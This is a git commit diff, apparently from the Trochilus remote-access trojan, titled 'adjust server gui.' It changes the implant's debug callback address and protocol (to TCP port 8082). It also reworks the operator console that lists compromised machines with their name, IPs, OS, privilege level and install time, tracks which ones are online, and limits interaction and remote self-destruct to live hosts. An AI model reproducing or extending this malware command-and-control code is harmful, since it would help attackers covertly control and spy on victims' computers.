adjust server gui.
This commit is contained in:
parent
1aac971229
commit
5e2889697e
|
@ -226,13 +226,13 @@ SHELL_API BOOL Init(BOOL bWait)
|
|||
|
||||
debugLog(_T("init servantshell. filepath is %s%s"), GetBinFilepath(), GetBinFilename());
|
||||
#ifdef _DEBUG
|
||||
g_ConfigInfo.nDefaultCommType = COMMNAME_UDPS;
|
||||
g_ConfigInfo.nDefaultCommType = COMMNAME_TCP;
|
||||
g_ConfigInfo.nPort = 8082;
|
||||
g_ConfigInfo.nFirstConnectHour = -1;
|
||||
g_ConfigInfo.nFirstConnectMinute = -1;
|
||||
g_ConfigInfo.nTryConnectIntervalM = 1;
|
||||
strcpy_s(g_ConfigInfo.szGroups, sizeof(g_ConfigInfo.szGroups), "Default");
|
||||
strcpy_s(g_ConfigInfo.szAddr, sizeof(g_ConfigInfo.szAddr), "192.168.50.150");
|
||||
strcpy_s(g_ConfigInfo.szAddr, sizeof(g_ConfigInfo.szAddr), "127.0.0.1");
|
||||
|
||||
// strcpy_s(g_CampInfo.szDllName, sizeof(g_CampInfo.szDllName), t2a(SERVANT_SHELL_BINNAME));
|
||||
// #else
|
||||
|
|
|
@ -46,28 +46,49 @@ void CHostDlg::ClientInfoNotify(UINT nMsg, LPVOID lpContext, LPVOID lpParameter)
|
|||
return lpDlg->ClientInfoNotifyProc(nMsg,pInfo);
|
||||
}
|
||||
|
||||
static int g_online = 0;
|
||||
|
||||
void CALLBACK CHostDlg::ClientInfoNotifyProc( UINT nMsg,CLIENT_INFO* pInfo )
|
||||
{
|
||||
CTrochilusDlg* lpMainDlg = (CTrochilusDlg*)AfxGetApp()->GetMainWnd();
|
||||
CString strHost = lpMainDlg->m_wndStatusBar.GetText(2);
|
||||
|
||||
int nPos = strHost.Find(_T(" "));
|
||||
m_csClient.Enter();
|
||||
|
||||
strHost = strHost.Mid(nPos+1,strHost.GetLength());
|
||||
|
||||
int nCount = atoi(t2a(strHost));
|
||||
ClientMap::iterator it = m_clients.find(pInfo->clientid);
|
||||
|
||||
if (nMsg == WM_ADD_CLIENT)
|
||||
{
|
||||
strHost.Format(_T("Host: %d"),nCount+1);
|
||||
m_ClientList.AddClientInfo(pInfo);
|
||||
if (it == m_clients.end())
|
||||
{
|
||||
m_clients[pInfo->clientid] = *pInfo;
|
||||
g_online++;
|
||||
int i = m_ClientList.AddClientInfo(&m_clients[pInfo->clientid]);
|
||||
|
||||
m_ClientList.SetItemColor((int)&m_clients[pInfo->clientid],RGB(255,0,0));
|
||||
m_ClientList.Update(i);
|
||||
}
|
||||
else
|
||||
{
|
||||
m_ClientList.SetItemColor((int)&m_clients[pInfo->clientid],RGB(255,0,0));
|
||||
int i = m_ClientList.GetIdByData((int)&m_clients[pInfo->clientid]);
|
||||
m_ClientList.Update(i);
|
||||
}
|
||||
|
||||
m_ClientList.SetAlive(pInfo->clientid,TRUE);
|
||||
}
|
||||
else if(nMsg == WM_DEL_CLIENT)
|
||||
{
|
||||
strHost.Format(_T("Host: %d"),nCount-1);
|
||||
m_ClientList.DeleteClientInfo(pInfo);
|
||||
ClientControlPanelManager::GetInstanceRef().ClosePanelDlg(pInfo->clientid);
|
||||
if (it != m_clients.end())
|
||||
{
|
||||
m_ClientList.SetAlive(pInfo->clientid,FALSE);
|
||||
ClientControlPanelManager::GetInstanceRef().ClosePanelDlg(pInfo->clientid);
|
||||
m_ClientList.DeleteClientInfo(&m_clients[pInfo->clientid]);
|
||||
}
|
||||
}
|
||||
|
||||
m_csClient.Leave();
|
||||
strHost.Format(_T("Host: %d"),g_online);
|
||||
lpMainDlg->m_wndStatusBar.SetText(strHost,2,0);
|
||||
}
|
||||
|
||||
|
|
|
@ -2,8 +2,11 @@
|
|||
|
||||
#include "ReportCtrl.h"
|
||||
#include "mfcresize/Resizer.h"
|
||||
#include <map>
|
||||
// CHostDlg 对话框
|
||||
|
||||
typedef std::map<CString,CLIENT_INFO> ClientMap;
|
||||
|
||||
class CHostDlg : public CDialogEx
|
||||
{
|
||||
DECLARE_DYNAMIC(CHostDlg)
|
||||
|
@ -32,4 +35,9 @@ protected:
|
|||
public:
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
|
||||
private:
|
||||
ClientMap m_clients;
|
||||
CriticalSection m_csClient;
|
||||
|
||||
};
|
||||
|
|
|
@ -267,16 +267,16 @@ void CReportCtrl::DeleteClientInfo(CLIENT_INFO* pInfo)
|
|||
{
|
||||
int nCount = GetItemCount();
|
||||
|
||||
GroupMap::iterator it = m_GroupsMap.find(pInfo->groups);
|
||||
if (it != m_GroupsMap.end())
|
||||
{
|
||||
ClientList::iterator cit = it->second.find(pInfo->clientid);
|
||||
|
||||
if (cit != it->second.end())
|
||||
{
|
||||
it->second.erase(cit);
|
||||
}
|
||||
}
|
||||
// GroupMap::iterator it = m_GroupsMap.find(pInfo->groups);
|
||||
// if (it != m_GroupsMap.end())
|
||||
// {
|
||||
// ClientList::iterator cit = it->second.find(pInfo->clientid);
|
||||
//
|
||||
// if (cit != it->second.end())
|
||||
// {
|
||||
// it->second.erase(cit);
|
||||
// }
|
||||
// }
|
||||
|
||||
for (int i = 0 ; i < nCount ; i++)
|
||||
{
|
||||
|
@ -287,8 +287,8 @@ void CReportCtrl::DeleteClientInfo(CLIENT_INFO* pInfo)
|
|||
if (CString(itemInfo->clientid)
|
||||
== CString(pInfo->clientid))
|
||||
{
|
||||
DeleteItem(i);
|
||||
delete itemInfo;
|
||||
SetItemColor((int)pInfo,RGB(96,96,96));
|
||||
Update(i);
|
||||
}
|
||||
|
||||
}
|
||||
|
@ -318,19 +318,16 @@ BOOL CReportCtrl::AddClientInfo( CLIENT_INFO* pInfo )
|
|||
|
||||
if (nImage != 1)
|
||||
{
|
||||
CLIENT_INFO* info = new CLIENT_INFO;
|
||||
memcpy(info,pInfo,sizeof(CLIENT_INFO));
|
||||
|
||||
CString memsize;
|
||||
memsize.Format(_T("%d MB"),info->memsize);
|
||||
InsertItem(nIndex,info->computerName);
|
||||
SetItemData(nIndex,(DWORD)info);
|
||||
memsize.Format(_T("%d MB"),pInfo->memsize);
|
||||
InsertItem(nIndex,pInfo->computerName);
|
||||
SetItemData(nIndex,(DWORD)pInfo);
|
||||
SetItemText(nIndex,1,iplist);
|
||||
SetItemText(nIndex,2,CString(inet_ntoa(connectIP)));
|
||||
SetItemText(nIndex,3,common::FormatOSDesc(pInfo->windowsVersion,CString(info->vercode), pInfo->bX64));
|
||||
SetItemText(nIndex,3,common::FormatOSDesc(pInfo->windowsVersion,CString(pInfo->vercode), pInfo->bX64));
|
||||
SetItemText(nIndex,4,strCPU);
|
||||
SetItemText(nIndex,5,memsize);
|
||||
SetItemText(nIndex,6,info->lang);
|
||||
SetItemText(nIndex,6,pInfo->lang);
|
||||
SetItemText(nIndex,7,pInfo->priv);
|
||||
SetItemText(nIndex,8,pInfo->proto);
|
||||
SetItemText(nIndex,9,common::FormatSystemTime(pInfo->installTime));
|
||||
|
@ -347,17 +344,17 @@ BOOL CReportCtrl::AddClientInfo( CLIENT_INFO* pInfo )
|
|||
|
||||
if (it2 == it1->second.end())
|
||||
{
|
||||
it1->second.insert(MAKE_PAIR(ClientList,pInfo->clientid,*pInfo));
|
||||
it1->second.insert(MAKE_PAIR(ClientList,pInfo->clientid,pInfo));
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
list.insert(MAKE_PAIR(ClientList,pInfo->clientid,*pInfo));
|
||||
list.insert(MAKE_PAIR(ClientList,pInfo->clientid,pInfo));
|
||||
m_GroupsMap.insert(MAKE_PAIR(GroupMap,pInfo->groups,list));
|
||||
}
|
||||
|
||||
|
||||
return TRUE;
|
||||
return nIndex;
|
||||
}
|
||||
|
||||
|
||||
|
@ -365,7 +362,6 @@ void CReportCtrl::DeleteGroupsClient( int nIndex , ClientList& list )
|
|||
{
|
||||
for (UINT i = 0 ; i < list.size() ; i ++)
|
||||
{
|
||||
delete (void*)GetItemData(nIndex+1);
|
||||
DeleteItem(nIndex+1);
|
||||
}
|
||||
}
|
||||
|
@ -374,7 +370,14 @@ void CReportCtrl::InsertGroupsClient( int nIndex , ClientList& list )
|
|||
ClientList::iterator it = list.begin();
|
||||
for ( ; it != list.end(); it ++)
|
||||
{
|
||||
AddClientInfo(&it->second);
|
||||
int i = AddClientInfo(it->second);
|
||||
|
||||
if (IsAlive(it->second->clientid))
|
||||
SetItemColor((int)it->second,RGB(255,0,0));
|
||||
else
|
||||
SetItemColor((int)it->second,RGB(96,96,96));
|
||||
|
||||
Update(i);
|
||||
}
|
||||
}
|
||||
void CReportCtrl::OnLButtonDblClk(UINT nFlags, CPoint point)
|
||||
|
@ -394,7 +397,11 @@ void CReportCtrl::OnLButtonDblClk(UINT nFlags, CPoint point)
|
|||
{
|
||||
CLIENT_INFO* info;
|
||||
info = (CLIENT_INFO*)GetItemData(index);
|
||||
m_lpDbcFunc(*info,m_lpParameter);
|
||||
|
||||
if (IsAlive(info->clientid))
|
||||
{
|
||||
m_lpDbcFunc(*info,m_lpParameter);
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
|
@ -453,7 +460,8 @@ void CReportCtrl::OnRButtonDblClk(UINT nFlags, CPoint point)
|
|||
{
|
||||
CLIENT_INFO* info;
|
||||
info = (CLIENT_INFO*)GetItemData(index);
|
||||
MakeClientSelfDestruction(info->clientid);
|
||||
if (IsAlive(info->clientid))
|
||||
MakeClientSelfDestruction(info->clientid);
|
||||
break;
|
||||
}
|
||||
|
||||
|
@ -520,6 +528,21 @@ BOOL CReportCtrl::SetColumnHeader(const CString& strHeadings)
|
|||
return bInserted;
|
||||
}
|
||||
|
||||
int CReportCtrl::GetIdByData(int data)
|
||||
{
|
||||
int nCount = GetItemCount();
|
||||
|
||||
for (int i = 0 ; i < nCount ; i++)
|
||||
{
|
||||
DWORD dwData = GetItemData(i);
|
||||
if (dwData == data)
|
||||
{
|
||||
return i;
|
||||
}
|
||||
}
|
||||
return 0xffffffff;
|
||||
}
|
||||
|
||||
int CReportCtrl::InsertItem(int nIndex, LPCTSTR lpText)
|
||||
{
|
||||
EndEdit(TRUE);
|
||||
|
|
|
@ -90,11 +90,11 @@
|
|||
// The CReportCtrl Class Definition
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
#include <list>
|
||||
typedef std::map<tstring,CLIENT_INFO> ClientList;
|
||||
typedef std::map<tstring,CLIENT_INFO*> ClientList;
|
||||
typedef std::map<tstring,ClientList> GroupMap;
|
||||
|
||||
typedef void (*FnClientCallBack)(CLIENT_INFO& info,LPVOID lpParameter);
|
||||
|
||||
typedef std::map<CString,BOOL> IsAliveMap;
|
||||
class CReportCtrl : public CListCtrl
|
||||
{
|
||||
public:
|
||||
|
@ -248,6 +248,8 @@ public:
|
|||
int InsertItem(int nIndex, LPCTSTR lpText);
|
||||
BOOL SetItemText(int nItem, int nSubItem, LPCTSTR lpText);
|
||||
|
||||
int GetIdByData(int data);
|
||||
|
||||
protected:
|
||||
|
||||
// Helper functions for internal use
|
||||
|
@ -280,6 +282,8 @@ protected:
|
|||
int m_nSortCol; // The sorted column, -1 if none
|
||||
BOOL m_bSortAscending; // Is sort ascending?
|
||||
|
||||
IsAliveMap m_isAliveMap;
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Wizard Generated Stuff
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
@ -294,6 +298,19 @@ protected:
|
|||
//}}AFX_VIRTUAL
|
||||
|
||||
// Generated message map functions
|
||||
public:
|
||||
void SetAlive(CString clientid,BOOL is)
|
||||
{
|
||||
m_isAliveMap[clientid] = is;
|
||||
}
|
||||
|
||||
BOOL IsAlive(CString clientid)
|
||||
{
|
||||
if ( m_isAliveMap.find(clientid) != m_isAliveMap.end())
|
||||
return m_isAliveMap[clientid];
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
protected:
|
||||
|
||||
|
|
Loading…
Reference in New Issue